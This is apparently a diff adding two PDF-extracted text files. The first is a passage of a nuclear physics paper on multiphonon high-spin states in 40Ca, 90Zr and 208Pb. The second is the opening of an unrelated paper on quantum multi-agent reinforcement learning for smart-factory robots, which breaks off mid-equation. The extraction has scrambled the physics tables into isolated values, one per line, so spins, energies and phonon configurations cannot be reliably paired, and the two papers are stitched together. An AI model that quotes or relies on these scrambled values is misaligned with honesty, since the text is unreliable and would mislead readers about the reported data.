+E[MeV]
+Exp. SV-bas−0.44
+Exp.
+SV-bas−0.44
+(0, 1, 2)− 8.359a
+8.40
+1−
+5.903
+7.62 l
+2−
+6.025
+5.33 d
+3−
+3.737
+3.38 a
+2−
+6.750
+6.29 f
+(3−)
+6.160
+5.25 b
+4−
+5.613
+4.87 c
+3−
+6.285
+5.70 i
+4−
+5.12 e
+3−
+6.582
+7.14 j
+(6−)
+8.701
+10.13 aaa
+(2−, 3, 4+) 7.623 b
+7.45 k
+6−
+11.62 aac
+5−
+4.491
+5.00 d
+8−
+10.47
+11.62 aac
+5−
+6.938 c
+6.37 f
+8−
+11.76 aad
+(7−)
+9.033? d
+10.13 aaa
+(10−)
+13.19
+11.76 aad
+7−
+11.69
+11.62 aac
+10−
+11.87 aae
+(9−)
+10.89 d
+11.62 aac
+12−
+13.25 acd
+(11−)
+12.92 d
+11.76 aad
+12−
+13.50 ade
+11−
+13.11acc
+14−
+16.25 cdf
+(13−)
+15.31 d
+14.8 adf
+14−
+16.38 ddf
+(13−)
+16.58 e
+15.0 cde
+(15−)
+18.21 d
+18.51 aaaad
+a The experimental assignment to the 8.359 level is (0, 1, 2)− [21]
+but our calculations show that the most probable assignment is
+0−
+1 : see the text.
+b The experimental assignment to the 7.623 level is (2−, 3, 4+)
+[21] but our calculations show that the most probable
+assignment is 3−
+5 .
+c The experimental assignment to the 6.938 level is (1− to 5−)
+[21] but our calculations show that the most probable
+assignment is 5−.
+e A possible interpretation of the level as a member of the band
+as Kp = 0− band and some doubts on this interpretation are
+given in Ref. [21], p. 211.
+d 3+ band [21], p. 211.
+generated by the recoupling of stretched proton and neu-
+tron configurations. The shell-model calculations
+[18]
+used the fitted s.p. energies and two-body matrix ele-
+ments of the effective interaction. Besides the two bands
+considered in Ref. [18], there are many other known levels
+in 90Zr having both the low and high spins. The calcula-
+tions presented in this subsection are the first attempt to
+describe all known states of 90Zr within the framework
+of a self-consistent method.
+The results for 90Zr are shown in Tables V (positive
+parity states) and VI (negative parity) where denota-
+tions are the same as in Table I, but different notation for
+phonons. The correspondence of the letters to phonons
+and the structure of the RPA phonons are shown in Ap-
+pendix, Table IX. The experimental data are taken from
+Refs. [18, 40].
+It should be noted that there are many unassigned lev-
+els above 3.5 MeV, such as 3.557 MeV, 3.9324 MeV, etc.
+[40], so it is possible that some of the lowest assigned lev-
+els are not yrast or yrare. This should be taken into ac-
+count when comparing theory with data, since the theo-
+retical values are given just for the yrast and yrare states.
+The calculations with the SV-bas−0.44 parameter set
+
+6
+TABLE V. The same as in Table I but for the positive par-
+ity states in 90Zr. The letters next to the theoretical values
+denote phonons: see Appendix, Table IX. The experimen-
+tal data are taken from Ref. [18, 40].
+The theoretical re-
+sults were obtained with SV-bas−0.44 and SLy4 Skyrme EDF
+parametrizations but, for SV-bas−0.44 (denoted as bas−0.44),
+the energy of the single-particle π1g9/2 state was increased by
+0.6 MeV in these calculations.
+Iπ
+n
+E[MeV]
+Iπ
+n
+E[MeV]
+exp. bas−0.44
+SLy4
+exp. bas−0.44
+SLy4
+0+
+1.76
+3.67 x
+4.27 aa x
+1+
+3.67
+4.28 aa
+0+
+4.12
+5.03
+5.68 ab
+1+
+5.96
+5.75 ab
+0+
+4.43
+5.19
+5.77 bb
+2+
+2.19
+3.60 x
+4.27 aa x
+(3+) 4.26
+3.67
+4.28 aa
+2+
+3.31
+3.67
+4.31 d
+3+
+3.84
+4.94 d
+2+
+3.84
+4.93
+5.46 ab
+2+
+4.22
+5.81
+5.77 bb
+2+
+4.23
+5.90
+5.97 ac
+4+
+3.08
+3.67
+4.27 aa
+(5+) 4.45
+3.67
+4.28 aa
+4+
+4.06
+3.68
+4.70 d
+5+
+4.87
+3.81
+4.89 d
+4+
+4.30
+5.02
+5.02 ab
+7+
+a
+3.67
+4.28 aa
+4+
+4.33
+5.25
+5.77 bb
+7+
+5.06
+4.03
+4.75d
+(4+) 4.35
+5.89
+5.79 ab
+9+
+5.25
+3.67
+4.28 aa
+4+
+4.47
+5.90
+6.18 ac
+9+
+5.79
+5.08
+5.83 ab
+6+
+3.45
+3.62
+4.27 aa
+11+
+6.28
+6.10
+6.12 ac
+6+
+3.74
+4.88 d
+(11+) 7.19
+6.53
+7.42 bb
+8+
+3.59
+3.67
+4.27 aa
+13+
+7.44
+7.46
+8.01 cc
+8+
+5.16
+5.00
+5.02 ab
+13+
+8.36
+9.10 aad
+10+
+5.64
+5.11
+5.83 ab
+15+
+8.95
+8.56
+9.24 aad
+10+
+7.03
+5.84
+6.10 ac
+15+
+9.33
+8.93
+10.4 abd
+(12+) 6.77
+7.44
+7.77 bc
+(15)+ 9.84
+9.54
+10.9 acd
+12+
+7.22
+7.49
+7.99 cc
+(17+) 10.8
+9.10
+10.6 abd
+14+
+8.06
+7.52
+9.07 aad
+17+
+9.92
+10.9 acd
+14+
+8.85
+10.2 abd (19+) 12.1
+11.6
+12.5 bcd
+16+
+b
+7.65
+8.90 aad
+19+
+11.5
+12.6 aabd
+16+
+10.1
+8.92
+10.6 abd
+(18+) 11.4
+10.1
+10.9 acd
+18+
+10.7
+12.2 bbc
+(20+) 13.0
+11.5 c
+12.8 ccd
+20+
+12.7 c
+13.7 aadd
+a The 7+ state belongs to the ’aa’ multiplet where the known 2+
+1 ,
+4+
+1 , 6+
+1 , and 8+
+1 members have energies of 2.5 – 3.5 MeV so
+there should be a 7+ state with an energy of 3 – 4 MeV. The
+same is valid for the ’d’ multiplet.
+b The level 10.12584 [40] cannot be the first state of 16+; it’s
+either 2nd or 3rd: see the text.
+c For SV-bas−0.44, the first and second have the configurations
+’aadd’ and ’ccd’, respectively.
+x The first 0+ and 2+ state are probably deformed and therefore
+outside the scope of the model: see the text.
+underestimate energies of many states in 40Ca by 2 – 4
+MeV, particularly for the high-spin states. At the same
+time, it turns out that a small change in only one s.p.
+energy, for the π1g9/2 state, significantly improves agree-
+ment with experiment. The SV-bas−0.44 results given in
+Tables V and VI were obtained with the energy of the
+π1g9/2 state increased by 0.6 MeV. This feature of the
+calculations is designated in Tables V and VI as bas−0.44.
+TABLE VI.
+The same as in Table V but for the negative
+parity states in 90Zr.
+Iπ
+n
+E[MeV]
+Iπ
+n
+E[MeV]
+exp. bas−0.44
+SLy4
+exp. bas−0.44
+SLy4
+0−
+5.59
+6.93 ad
+1−
+5.60
+5.00 ad
+0−
+6.75
+7.79 aab
+1−
+6.79
+5.59 bd
+2−
+4.53
+4.83 c
+3−
+2.75
+2.60
+2.88 b
+2−
+5.60
+6.88 ad
+(3−) 4.50
+3.84
+3.97 c
+(4−) 2.74
+1.89
+2.26 a
+(3−) 4.81
+5.62
+5.86 h
+(4−) 4.22
+3.24
+3.78 b
+3−
+5.63
+6.01
+6.66 ad
+(4−) 4.54
+4.00
+4.10 c
+3−
+5.67
+6.66
+7.46 aab
+(4−) 4.94
+5.75
+6.82 ad
+5−
+2.32
+1.78
+2.02 a
+6−
+4.23
+3.38
+3.76 b
+5−
+3.96
+3.14
+3.66 b
+6−
+3.87
+3.95 c
+(5−) 4.30
+3.90
+3.88 c
+8−
+5.64
+6.94 ad
+7−
+4.37
+4.49
+4.06 c
+8−
+6.72
+7.64 bd
+7−
+5.63
+6.84 ad
+10−
+6.38
+5.70
+6.96 ad
+9−
+5.66
+6.97 ad
+10−
+6.72
+6.72
+7.64 bd a
+9−
+6.66
+7.55 aab
+(12−)
+5.81
+6.77 ad
+11− 6.95
+5.75
+6.89 ad
+12−
+6.90
+7.79 aab
+11− 7.01
+6.77
+7.53 aab
+14−
+8.86
+7.78
+8.22 aac
+13−
+6.91
+7.81 aab
+14−
+8.40
+8.81 cd
+13−
+7.41
+8.50 bd
+(16−) 9.71
+10.1
+10.1 acc
+15− 8.96
+9.10
+9.63 abc
+(16−) 10.0
+10.6
+11.5 bbc
+15− 9.83
+9.87
+10.10 acc
+16−
+10.1
+10.7
+11.6 bcc
+15− 9.97
+10.3
+10.63 bcc
+16−
+10.4
+11.1
+11.7 add
+17− 10.8
+9.58
+11.69 add
+18−
+11.3
+9.55
+11.6 add
+17− 10.9
+10.6
+11.69 bcc
+18−
+11.4
+11.2
+12.0 ccc
+20−
+12.6
+12.2
+12.8 aacd 19− 12.1
+11.2
+12.5 aabd
+20−
+13.0
+12.3
+13.7 cdd
+19− 12.3
+12.1
+12.8 aacd
+a The ’bd’ and ’aab’ configurations have very close energies for
+the 8−
+2 level; the same is also for 10−
+2 .
+To keep full self-consistency of the method, we also per-
+formed calculations for 90Zr with the well known forces
+SLy4. It is interesting to note, that the self-consistent
+SLy4 results for many levels are rather close to the
+bas−0.44 values calculated with this increased π1g9/2 en-
+ergy.
+The result for 90Zr presented in the tables are in gen-
+eral acceptable, particularly, taking into account the high
+sensitivity to the EDF parameters. The most significant
+deviations are for the first excited 0+ and 2+ states, i.
+e. 0+
+2 and 2+
+1 , but these states have, probably, a large
+deformation. The experimental ratio
+E(4+
+1 ) − E(0+
+2 )
+E(2+
+1 ) − E(0+
+2 ) = 3.07
+(1)
+is very close to the rotational limit 3.33. The deformed
+states are beyond the scope of the model using the spher-
+ical basis but for completeness we include the 0+ levels
+of 90Zr in the table.
+At the same time, unlike 40Ca, the deformation mani-
+fested in the 0+
+2 , 2+
+1 and, may be, 4+
+1 states in 90Zr is not
+
+7
+seen in the 6+
+1 state, since the experimental ratio
+E(6+
+1 ) − E(0+
+2 )
+E(2+
+1 ) − E(0+
+2 ) = 3.93
+(2)
+is significantly less than the rotational value of 7.00. All
+the result for 90Zr, excluding 0+
+2 and 2+
+1 states, are in a
+better and sometimes in nice agreement with the data.
+One can expect that these results can serve as a guide-
+line for the search of the new states in 90Zr. For example,
+the 6+
+1 , 7+
+1 , and 8+
+1 levels are a part of the ’aa’ multiplet
+where the 6+
+1 and 8+
+1 states have the experimental values
+of energies are 3.45–3.59 MeV, so there should be a state
+7+, which has approximately the same energy and this
+state should be yrast. Therefore the experimental 5.060
+level is placed as the second 7+ state in Table V. The
+states 14+ and 16+ are a part of the ”aad” multiplet, so
+there must be a level 16+
+1 that is close in energy to the
+level 14+ with E(14+) = 8.058 MeV. Therefore, 10.12584
+cannot be the yrast state of 16+; it’s either 2nd or 3rd
+state.
+IV.
+SUMMARY AND CONCLUSIONS
+In the paper, the self-consistent calculations of the
+structure and energies of the high-spin states in dou-
+bly magic 208Pb and 40Ca and in semi-magic 90Zr have
+been presented. The calculations were performed within
+the framework of the multiphonon model including the
+renormalized phonons in the harmonic approximation
+and based on the energy-density functional (EDF) of
+the Skyrme type. The basic elements of the theory, the
+phonons, are determined within the renormalized time-
+blocking approximation which is a non-linear version of
+the model of the beyond-RPA type.
+In 208Pb, the calculations have been performed for all
+the experimentally known levels of spins I ≥ 13 and,
+when there are no data, for all yrast and yrare states of
+13 ≤ I ≤ 30. In 40Ca and 90Zr, the results have been ob-
+tained for all the experimentally known high-spin states
+which can be described within our approach based on the
+spherically-symmetric mean field. The results for 208Pb
+are in fairly well agreement with the experimental data
+despite the fact that no new fitting parameters in the
+underlying Skyrme EDF were introduced.
+The results
+for 40Ca and 90Zr are less satisfactory with respect to
+comparison with data, but in part it is explained by the
+parametrization of the Skyrme EDF used in all the cal-
+culations and adjusted previously to the properties of the
+excited states of 208Pb.
+The choice of the EDF is important in describing the
+multiphonon states because of their sensitivity to the pa-
+rameters of the EDF which affect the phonon’s energies.
+This is demonstrated in the case of 90Zr. A change in
+one phonon causes much more significant change in the
+n-phonon energy. At the same time, there are many high-
+spin states having rather simple structure in terms of the
+renormalized phonons. Therefore the energies of the mul-
+tiphonon states can be used as the additional fit data for
+adjustment of the parameters of the EDFs.
+Our results confirm the conclusion of Ref. [23] about
+importance of the use of the renormalized phonons in the
+description of the high-spin states. The renormalization
+reduces the phonon’s energies that in the most cases im-
+proves agreement with data.
+ACKNOWLEDGMENTS
+This work was supported by the Russian Foundation
+for Basic Research, project number 21-52-12035.
+This
+research was carried out using computational resources
+provided by the Computer Center of St. Petersburg State
+University.
+Appendix A: Phonons
+Structure and energies of the phonons used in the cal-
+culations of the multiphonon states in 208Pb are shown
+in Table VII for the SV-bas−0.44 Skyrme parameter set.
+Here, the last two columns show the energies of the RPA
+and RenTBA (renormalized) phonons. The letters a, b,
+c, ... denote multiplets of phonons having approximately
+the same structure.
+Tables VIII and IX show the structure and energies of
+the phonons for 40Ca and 90Zr, respectively.
+
+8
+TABLE VII.
+Structure and energy (in MeV) of some phonons appearing in the n-phonon states of 208Pb. The last three
+columns show the experimental data [38, 41] and the energies of the RPA and RenTBA (renormalized) phonons. The letters
+a, b, c, ... denote multiplets of phonons having approximately the same structure.
+Iπ
+Configuration
+E[MeV]
+Exp.
+RPA
+RenTBA
+a
+3−
+1
+ν 2g9/2 3p3/2
+−1 21% + π 1h9/2 2d3/2
+−1 20% + . . .
+2.614
+3.10
+2.87
+b
+2+
+1
+ν 2g9/2 1i13/2
+−1 63% + π 2f7/2 1h11/2
+−1 19%
+4.086
+4.42
+4.01
+4+
+1
+ν 2g9/2 1i13/2
+−1 58% + π 1h9/2 1h11/2
+−1 16%
+4.324
+4.80
+4.31
+6+
+1
+ν 2g9/2 1i13/2
+−1 64% + π 1h9/2 1h11/2
+−1 18%
+4.424
+5.13
+4.56
+c
+5+
+1
+ν 2g9/2 1i13/2
+−1 99%
+4.962
+5.36
+4.69
+7+
+1
+ν 2g9/2 1i13/2
+−1 98%
+4.867
+5.36
+4.68
+8+
+1
+ν 2g9/2 1i13/2
+−1 92%
+4.611
+5.31
+4.66
+9+
+1
+ν 2g9/2 1i13/2
+−1 99%
+5.010
+5.39
+4.70
+10+
+1
+ν 2g9/2 1i13/2
+−1 98%
+4.895
+5.34
+4.65
+11+
+1
+ν 2g9/2 1i13/2
+−1 100%
+5.235
+5.54
+4.85
+d
+4−
+1
+ν 2g9/2 3p1/2
+−1 98%
+3.475
+4.15
+3.65
+5−
+1
+ν 2g9/2 3p1/2
+−1 70% + π 1h9/2 3s1/2
+−1 18%
+3.198
+3.92
+3.51
+e
+4−
+2
+π 1h9/2 3s1/2
+−1 99%
+3.947
+4.36
+3.93
+5−
+2
+π 1h9/2 3s1/2
+−1 70% + ν 2g9/2 3p1/2
+−1 24%
+3.708
+4.29
+3.85
+f
+5−
+3
+ν 2g9/2 3p3/2
+−1 48% + π 1h9/2 2d3/2
+−1 28%
+3.961
+4.73
+4.21
+g
+6−
+2
+π 1h9/2 2d3/2
+−1 83%
+4.206
+5.05
+4.58
+h
+6−
+3
+ν 2g9/2 2f5/2
+−1 79%
+4.383
+5.14
+4.52
+7−
+1
+ν 2g9/2 2f5/2
+−1 97%
+4.037
+5.41
+4.75
+i
+7−
+2
+ν 1i11/2 3p3/2
+−1 96%
+4.680
+6.00
+5.44
+j
+8−
+1
+ν 1i11/2 2f5/2
+−1 99%
+4.919
+6.29
+5.70
+k
+8+
+2
+π 1h9/2 1h11/2
+−1 76%
+4.861
+5.74
+5.15
+9+
+2
+π 1h9/2 1h11/2
+−1 99%
+5.162
+5.73
+5.15
+10+
+2
+π 1h9/2 1h11/2
+−1 79%
+5.069
+6.11
+5.53
+l
+9+
+3
+ν 1i11/2 1i13/2
+−1 98%
+5.327
+6.48
+5.82
+10+
+3
+ν 1i11/2 1i13/2
+−1 82% + π 1h9/2 1h11/2
+−1 18%
+5.537
+6.72
+6.01
+11+
+2
+ν 1i11/2 1i13/2
+−1 100%
+5.750
+6.46
+5.80
+12+
+1
+ν 1i11/2 1i13/2
+−1 100%
+5.864
+7.05
+6.37
+m
+9+
+4
+π 2f7/2 1h11/2
+−1 94%
+5.901
+6.69
+5.79
+o
+7−
+6
+π 1i13/2 1h11/2
+−1 75% + ν 1j15/2 1i13/2
+−1 21% , X1 > 0, X2 > 0
+7.48
+6.51
+9−
+1
+π 1i13/2 1h11/2
+−1 99%
+6.861
+7.51
+6.56
+11−
+1
+π 1i13/2 1h11/2
+−1 96%
+7.48
+6.52
+p
+8−
+2
+π 1i13/2 1h11/2
+−1 59% + ν 1j15/2 1i13/2
+−1 37% , X1 > 0, X2 > 0
+5.836
+7.33
+6.40
+10−
+1
+π 1i13/2 1h11/2
+−1 53% + ν 1j15/2 1i13/2
+−1 47% , X1 > 0, X2 > 0
+6.283
+7.39
+6.42
+q
+12−
+1
+ν 1j15/2 1i13/2
+−1 68% + π 1i13/2 1h11/2
+−1 32%
+6.435
+7.52
+6.49
+r
+11−
+2
+ν 1j15/2 1i13/2
+−1 96%
+7.60
+6.50
+13−
+1
+ν 1j15/2 1i13/2
+−1 100%
+7.57
+6.47
+14−
+1
+ν 1j15/2 1i13/2
+−1 100%
+6.743
+8.02
+6.81
+s
+12−
+2
+π 1i13/2 1h11/2
+−1 68% + ν 1j15/2 1i13/2
+−1 32% , X1 > 0, X2 < 0
+7.061
+8.06
+6.92
+t
+6−
+4
+ν 1i11/2 3p1/2
+−1 82%
+4.481
+5.21
+4.72
+u
+8+
+3
+ν 1j15/2 3p1/2
+−1 83%
+5.093
+6.19
+5.32
+v
+12+
+2
+ν 1j15/2 1h9/2
+−1 83%
+a
+10.37
+8.95
+a The 12+
+2 state has a 2-phonon confuguration and therefore its energy should not be compared with the 1-phonon energy.
+
+9
+TABLE VIII. The same as in Table VII but for 40Ca. The experimental data are taken from Ref. [21].
+Iπ
+Configuration
+E[MeV]
+Exp.
+RPA
+RenTBA
+a
+3−
+1
+π 1f7/2 1d3/2
+−1 37% + ν 1f7/2 1d3/2
+−1 30% + . . . , X1 > 0, X2 > 0
+3.737
+3.58
+3.38
+b
+3−
+2
+π 1f7/2 1d3/2
+−1 52% + ν 1f7/2 1d3/2
+−1 29% , X1 > 0, X2 < 0
+6.160
+5.58
+5.25
+c
+4−
+1
+π 1f7/2 1d3/2
+−1 97%
+5.613
+5.17
+4.87
+d
+5−
+1
+π 1f7/2 1d3/2
+−1 60% + ν 1f7/2 1d3/2
+−1 39% , X1 > 0, X2 > 0
+4.491
+5.33
+5.00
+2−
+1
+π 1f7/2 1d3/2
+−1 64% + ν 1f7/2 1d3/2
+−1 36% , X1 > 0, X2 > 0
+6.025
+5.67
+5.33
+e
+4−
+2
+ν 1f7/2 1d3/2
+−1 96%
+5.45
+5.12
+f
+2−
+2
+ν 1f7/2 1d3/2
+−1 61% + π 1f7/2 1d3/2
+−1 34% , X1 > 0, X2 < 0
+6.750
+6.71
+6.29
+5−
+2
+ν 1f7/2 1d3/2
+−1 59% + π 1f7/2 1d3/2
+−1 38% , X1 > 0, X2 < 0
+6.938
+6.81
+6.37
+i
+3−
+3
+ν 1f7/2 1d3/2
+−1 35% + ν 1f7/2 2s1/2
+−1 33% + . . . , X1 > 0, X2 > 0
+6.285
+6.02
+5.69
+j
+3−
+4
+ν 1f7/2 2s1/2
+−1 44% + π 1f7/2 2s1/2
+−1 35% + . . . , X1 > 0, X2 < 0
+6.582
+7.55
+7.14
+k
+3−
+5
+π 2p3/2 1d3/2
+−1 57% + ν 2p3/2 1d3/2
+−1 36% , X1 > 0, X2 > 0
+7.623
+8.08
+7.45
+l
+1−
+1
+π 2p3/2 1d3/2
+−1 55% + ν 2p3/2 1d3/2
+−1 25% , X1 > 0, X2 > 0
+5.903
+8.25
+7.63
+TABLE IX.
+The same as in Table VII but for 90Zr.
+The calculation values are given for the SLy4 parameter set.
+The
+experimental data are taken from Refs. [18, 40].
+Iπ
+Configuration
+E[MeV]
+Iπ
+Configuration
+E[MeV]
+Exp.
+RPA
+RenTBA
+Exp.
+RPA
+RenTBA
+a
+4−
+1
+π 1g9/2 2p1/2
+−1 100%
+2.74
+2.49
+2.26
+5−
+1
+π 1g9/2 2p1/2
+−1 100%
+2.32
+2.20
+2.02
+b
+3−
+1
+π 1g9/2 2p3/2
+−1 88%
+2.75
+3.09
+2.88
+4−
+2
+π 1g9/2 2p3/2
+−1 98%
+4.22
+4.22
+3.78
+5−
+2
+π 1g9/2 2p3/2
+−1 99%
+3.96
+4.10
+3.66
+6−
+1
+π 1g9/2 2p3/2
+−1 98%
+4.23
+4.18
+3.76
+c
+2−
+1
+π 1g9/2 1f5/2
+−1 99%
+5.36
+4.84
+3−
+2
+π 1g9/2 1f5/2
+−1 91%
+4.81
+4.40
+3.96
+4−
+3
+π 1g9/2 1f5/2
+−1 98%
+4.54
+4.56
+4.10
+5−
+3
+π 1g9/2 1f5/2
+−1 99%
+4.30
+4.34
+3.87
+6−
+2
+π 1g9/2 1f5/2
+−1 97%
+4.39
+3.95
+7−
+1
+π 1g9/2 1f5/2
+−1 99%
+4.37
+4.41
+4.06
+d
+2+
+1
+ν 2d5/2 1g9/2
+−1 97%
+4.67
+4.31
+3+
+1
+ν 2d5/2 1g9/2
+−1 99%
+5.46
+4.95
+4+
+1
+ν 2d5/2 1g9/2
+−1 99%
+5.16
+4.70
+5+
+1
+ν 2d5/2 1g9/2
+−1 99%
+4.87
+5.41
+4.89
+6+
+1
+ν 2d5/2 1g9/2
+−1 100%
+5.40
+4.88
+7+
+1
+ν 2d5/2 1g9/2
+−1 100%
+5.21
+4.75
+h
+2+
+2
+ν 1g7/2 1g9/2
+−1 97%
+8.58
+8.07
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CNE2T4oBgHgl3EQfnwjC/content/tmp_files/2301.04012v1.pdf.txt

@@ -0,0 +1,1756 @@
+1
+Quantum Multi-Agent Actor-Critic Neural
+Networks for Internet-Connected Multi-Robot
+Coordination in Smart Factory Management
+Won Joon Yun, Graduate Student Member, IEEE, Jae Pyoung Kim, Soyi Jung, Member, IEEE,
+Jae-Hyun Kim, Member, IEEE, and Joongheon Kim, Senior Member, IEEE
+Abstract—As one of the latest fields of interest in both
+academia and industry, quantum computing has garnered sig-
+nificant attention. Among various topics in quantum computing,
+variational quantum circuits (VQC) have been noticed for their
+ability to carry out quantum deep reinforcement learning (QRL).
+This paper verifies the potential of QRL, which will be further
+realized by implementing quantum multi-agent reinforcement
+learning (QMARL) from QRL, especially for Internet-connected
+autonomous multi-robot control and coordination in smart fac-
+tory applications. However, the extension is not straightforward
+due to the non-stationarity of classical MARL. To cope with
+this, the centralized training and decentralized execution (CTDE)
+QMARL framework is proposed under the Internet connec-
+tion. A smart factory environment with the Internet of Things
+(IoT)-based multiple agents is used to show the efficacy of
+the proposed algorithm. The simulation corroborates that the
+proposed QMARL-based autonomous multi-robot control and
+coordination performs better than the other frameworks.
+Index Terms—Quantum deep learning, multi-agent reinforce-
+ment learning, quantum computing, robot control, smart factory
+I. INTRODUCTION
+In various Industry 4.0 scenarios, automated and au-
+tonomous management of smart factory systems are getting
+a lot of attention nowadays [2]–[8]. For the automation of
+factory management, the use of autonomous multiple mobile
+robots is widely studied [9]–[11]. According to the Verizon
+Report [12], Industry 4.0 is squarely underway in manufac-
+turing. The global market is expected to reach $219.8 billion
+by 2026, and autonomous mobile robots are becoming key
+workhorses in this transformation. To realize the efficient and
+effective autonomous multi-robot control and coordination,
+multi-agent reinforcement learning (MARL)-based algorithms
+are essentially required [13], [14].
+Recently, revolutionary innovations have been made in dis-
+tributed learning and MARL due to the remarkable evolution
+in computing hardware and deep learning algorithms [14].
+A preliminary version of this paper was presented at the IEEE Int’l Conf.
+on Distributed Computing Systems (ICDCS), Bologna, Italy, July 2022 [1].
+This research was funded by National Research Foundation of Korea
+(2022R1A2C2004869, 2021R1A4A1030775). (Corresponding authors: Soyi
+Jung, Jae-Hyun Kim, Joongheon Kim).
+Won Joon Yun, Jae Pyoung Kim, and Joongheon Kim are with the School
+of Electrical Engineering, Korea University, Seoul 02841, Republic of Korea
+(e-mails: {ywjoon95,paulkim436,joongheon}@korea.ac.kr).
+Soyi Jung and Jae-Hyun Kim are with the Department of Electrical and
+Computer Engineering, Ajou University, Suwon 16499, Republic of Korea
+(e-mails: {sjung,jkim}@ajou.ac.kr).
+Moreover, the developments in quantum computing hardware
+and algorithms placed further emphasis on this trend [15],
+resulting in the incentivization of the research on quantum
+machine learning. Nowadays, quantum machine learning is at
+a newborn level compared to conventional machine learning.
+For instance, in the classification task of quantum machine
+learning, the performance of quantum machine learning is low
+given the MNIST dataset at 32.5% of top-1 accuracy [16]
+on quantum computers, and 74.2% [17] on ideal quantum
+machines. However, the theoretically discovered advantages
+(i.e., quantum supremacy) are being experimentally proven
+recently [18]–[20]. The potential of quantum algorithms is
+evident from their ability to downsize the model parameters
+while maintaining accuracy by exploiting quantum entangle-
+ments [21]. In addition, the empirical result of [22] shows that
+quantum machine learning outperforms the empirical result of
+classical machine learning. An outstanding example of this is
+the variational quantum circuit (VQC) architecture, also known
+as a quantum neural network (QNN) [23], [24]. QNN is a
+quantum circuit that reproduces the function of a classical
+deep neural network. By combining the QNN and classical
+deep learning models, hybrid quantum-classical models are
+built, which allow QRL to be carried out. Compared to RL,
+QRL uses lesser model parameters but significantly reduces
+the training and inference time [25], [26] while consuming
+lesser computing resources as well [27]. Thus, it is clear
+that quantum machine learning using quantum computing will
+become a big trend in the near future. This paper aims to
+combine VQC with the classical MARL to extend QRL to
+quantum MARL (QMARL).
+The agents in the MARL environment interact with each
+other by either cooperating or competing. This interaction is
+realized based on Internet-of-Things (IoT)-based connectivity
+technologies. These interactions result in a non-stationary
+reward for each agent, which hinders the convergence of
+MARL training. The centralized training and decentralized
+execution (CTDE) method is used [28] to deal with the non-
+stationarity of the MARL model. In this scenario, the reward
+is distributed to all agents concurrently by concatenating
+their state-actions pairs. A na¨ıve implementation of a VQC
+version of CTDE is possible, as shown in [1]. However, such
+implementation causes the qubits to increase with the number
+of agents because when QRL is carried out via VQC, the state-
+action pairs are represented by qubits. Consequently, quantum
+errors will also increase with the qubits [29], significantly
+arXiv:2301.04012v1  [quant-ph]  4 Jan 2023
+
+2
+affecting the MARL convergence and scalability. Furthermore,
+quantum error correction is not yet viable in the current noisy
+intermediate-scale quantum (NISQ) era.
+This paper intends to improve on various pre-existing
+methods of implementing VQCs, agent policies, and state
+encoding [25], [30], [31]. Three significant differences exist
+for our proposed VQC compared to previous works, which are
+parameter sharing, non-random VQC design, and 2-variables
+dense encodings. Firstly, parameter sharing refers to sharing
+model parameter values between agents. All the agents in
+previous works had individual, distinct policies meaning more
+agents required more policies, resulting in excess computing
+power consumption in the process of formulating them. In
+this improved model, there will only be one policy that will
+be shared among the agents, increasing computing power
+efficiency. The second improvement is the non-random VQC
+design. The VQCs used in previous works are composed of
+randomly selected quantum gates. Although the performance
+is remarkable, it cannot be easily reproduced because of its
+randomness. The same model might not show the same per-
+formance in another iteration because of the random quantum
+gates. However, this is improved in this paper by designing a
+fixed model and removing the random nature of the previous
+VQC. This ensures the reproducibility and stability of the
+model. Finally, the proposed model in this paper utilizes the
+2-variables dense encoding method instead of the 4-variables
+dense encoding method. The original encoding method is ca-
+pable of reducing the dimensions of given data. Although this
+may be good for the NISQ-era quantum circuits, it inevitably
+causes a loss of information. The proposed 2-variables dense
+encoding method does not reduce data dimensions, but it is still
+compatible with NISQ-era quantum circuits. Thus, information
+loss is prevented, which will improve the performance of this
+model.
+Contributions. The major contributions of this research are
+summarized as follows.
+• This paper first provides a quantum-based MARL solu-
+tion for autonomous multi-robot control and coordination
+in smart factory applications.
+• An improved and novel CTDE QMARL framework
+which utilizes parameter sharing on policy, VQC design,
+and 2-variables dense encodings is additionally proposed.
+• Lastly, via extensive experiments, the proposed QMARL
+framework is proven to be superior to the classical
+MARL model by carrying out simulations in smart fac-
+tory scenarios. The results show that the proposed model
+produces higher performance than the others.
+Organization. The rest of this paper is organized as follows.
+The preliminaries of this paper are described in Sec. II. Our
+considering autonomous mobile robots coordination for smart
+manufacturing is described in Sec. III. Sec. IV introduces our
+proposed algorithm; and the numerical results and demonstra-
+tion of the proposed algorithm are shown in Sec. V. Sec. VI
+concludes this paper and presents future work. Note that the
+notations in this paper are listed in Table I. Most equations
+and notations used here are based on the Dirac notations used
+in [32].
+TABLE I: List of notations
+Scenario Notations
+N
+The number of AMR agents
+M
+The number of sites/warehouses
+T
+An episode length
+on
+The observation of n-th AMR agent
+an
+The action of n-th AMR agent
+a
+The actions set of AMR agents, i.e., a = {an}N
+n=1.
+s
+The ground truth state
+qc
+m,t
+The load status of m-th warehouse at time t
+qe
+n,t
+The load status of n-th AMR agent at time t
+qe
+max
+A load capacity of warehouse
+qe
+max
+A load capacity of AMR agent
+Quantum Computing Notations
+|ψ⟩
+Entangled quantum state
+⟨O⟩
+Observable
+Γ
+Pauli-Γ gate, e.g., Γ ∈ {X, Y, Z}
+RΓ
+Rotating Γ gate, e.g., Γ ∈ {X, Y, Z}
+(·)†
+Complex conjugate operator
+M
+Measurement operator
+II. PRELIMINARIES OF QUANTUM COMPUTING
+Single Qubit Quantum State. QC utilizes a qubit as the
+basic unit of computation. The qubit represents a quantum
+superposition state between two basis states, denoted as |0⟩
+and |1⟩. There are two ways to describe a qubit state,
+|ψ⟩ = α|0⟩ + β|1⟩,
+(1)
+where ∥α∥2
+2 + ∥β∥2
+2 = 1, as well as,
+|ψ⟩ = cos
+�δ
+2
+�
+|0⟩ + eiϕ sin
+�δ
+2
+���
+|1⟩,
+(2)
+where δ ∈ [−π, π] and ϕ ∈ [−π, π]. The former is based on
+a normalized 2D complex vector, while the latter is based on
+polar coordinates (δ, ϕ) from a geometric viewpoint. The qubit
+state is mapped into the surface of a 3D unit sphere (Bloch
+sphere). In addition, a quantum gate is a unitary operator
+transforming a qubit state into another qubit state, which is
+represented as a 2×2 matrix with complex entries. The single-
+qubit Pauli gates X, Y , and Z are defined as follows,
+X =
+�0
+1
+1
+0
+�
+,
+Y =
+�0
+−i
+i
+0
+�
+,
+Z =
+�1
+0
+0
+−1
+�
+.
+(3)
+There are additional quantum gates that are frequently used,
+i.e., Rx, Ry, and Rz. These are rotation operator gates rotate a
+single qubit by δ around their corresponding axes in the Bloch
+sphere and the single qubit operation can be expressed as the
+following equations,
+RX(δ) = e−i δ
+2 X,
